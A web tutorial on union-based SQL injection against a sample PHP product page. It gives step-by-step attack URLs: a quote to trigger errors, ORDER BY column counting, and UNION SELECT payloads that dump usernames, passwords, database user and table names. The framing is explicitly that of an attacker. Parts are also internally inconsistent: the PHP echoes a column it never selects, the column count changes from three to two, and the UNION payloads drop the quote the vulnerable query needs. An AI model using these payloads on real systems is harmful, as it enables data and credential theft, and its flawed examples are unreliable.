Error based SQL Injection
In the previous example, we saw how a classic SQL Injection Login Bypass works. SQL Injection is not all about that. The real fun is we can extract the data from the database. In this tutorial, we are going to explore another type of SQL Injection where we extract data from the database using the UNION operator.
Since we are using the Union operator this attack type is also known as Union based SQL Injection. So, then you may wonder why we call it Error based SQL injection. That is because we use some errors thrown by SQL to identify details about the database and tables.
This is a very powerful type of SQL Injection because it can allow an attacker to retrieve sensitive data, like usernames, passwords, email addresses, and more.
Let's dive into the details.
Scenario Imagine a website has a product listing page. When you click a product, the URL becomes:
https://example.com/product.php?id=5
Now lets enter another id.
Here, the id parameter is passed to the backend PHP script, and then a SQL query is made to fetch that product.
Here’s a simplified version of the PHP code:
<?php
$id = $_GET['id'];
$query = "SELECT title, price, discount FROM products WHERE id = '$id' AND status = 'active'";
$result = mysql_query($query);
$row = mysql_fetch_array($result);
echo "Product Name: " . $row['name'];
echo "Price: " . $row['price'];
?>
Id | Title | Price | Discount | Status |
---|---|---|---|---|
1 | Monitor | 30000 | 2 | active |
1 | Mouse | 400 | 3 | active |
1 | Keyboard | 800 | 5 | active |
SELECT title, price, discount FROM products WHERE id = '$id' AND status = 'active'
Notice:
The value of $id is directly inserted into the SQL query without any sanitization.
It assumes that the user always provides a valid numeric ID.
Step 1: Fuzzing the Input First, as a hacker, we want to check if the id parameter is vulnerable.
We try putting a single quote ' after the number:
https://example.com/product.php?id=3'
If the application responds with a SQL error like:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'active'' at line 1 in...
Then Bingo! It means the input is vulnerable to SQL Injection.
Why? Because the SQL query becomes:
SELECT title, price, discount FROM products WHERE id = '3'' AND status = 'active'
The extra ' breaks the query.
SELECT title, price, discount FROM products WHERE id = '3'--+' AND status = 'active'
SELECT title, price, discount FROM products WHERE id = '3'
SELECT title, price, discount FROM products WHERE id = '3' CUSTOM QUERY GOES HERE --+' AND status = 'active'
Step 2: Finding Number of Columns Before using a UNION, we must know how many columns are being selected.
To do this, we can use ORDER BY payloads.
We test:
https://example.com/product.php?id=3' ORDER BY 1 --+
https://example.com/product.php?id=3' ORDER BY 2 --+
https://example.com/product.php?id=3' ORDER BY 3 --+
https://example.com/product.php?id=3' ORDER BY 4 --+
At some point, if we use a number higher than available columns, we get an error.
Fatal error: Uncaught mysqli_sql_exception: Unknown column '4' in 'order clause' in...
Suppose:
ORDER BY 1-- → works
ORDER BY 2-- → works
ORDER BY 3-- → works
ORDER BY 4-- → ERROR!
It means the table has 3 columns.
Step 3: Performing UNION SELECT Now we can attempt a UNION SELECT.
If there are two columns, we try to inject:
https://example.com/product.php?id=-3 UNION SELECT 1,2,3--
Explanation:
We use -3 to make sure no real product with ID -3 exists.
We select dummy values 1, 2 and 3 to match the columns.
If the page displays 1, 2 and 3 somewhere, it means injection is successful!
Step 4: Extracting Data Now we can replace 1,2 and 3 with columns we want to extract from another table.
Suppose we know (or guess) that there is a users table with columns username and password.
We modify the URL like:
https://example.com/product.php?id=-3 UNION SELECT 1,username, password FROM users--
https://example.com/product.php?id=-3 UNION SELECT 1,username, password FROM users LIMIT 0,1--
https://example.com/product.php?id=-3 UNION SELECT 1,DATABASE(),USER()--
https://example.com/product.php?id=-3 UNION SELECT 1,2, table_name FROM information_schema.tables WHERE table_schema = 'hl_vulnerble'--+
If the query is successful, it fetches the username and password and displays them instead of product name and price!
Full Example - The Flow Test with ' → Confirm vulnerability
-
Use ORDER BY → Find number of columns
-
Use UNION SELECT with numbers → Confirm UNION is allowed
-
Use UNION SELECT to extract real data → Dump users, passwords, emails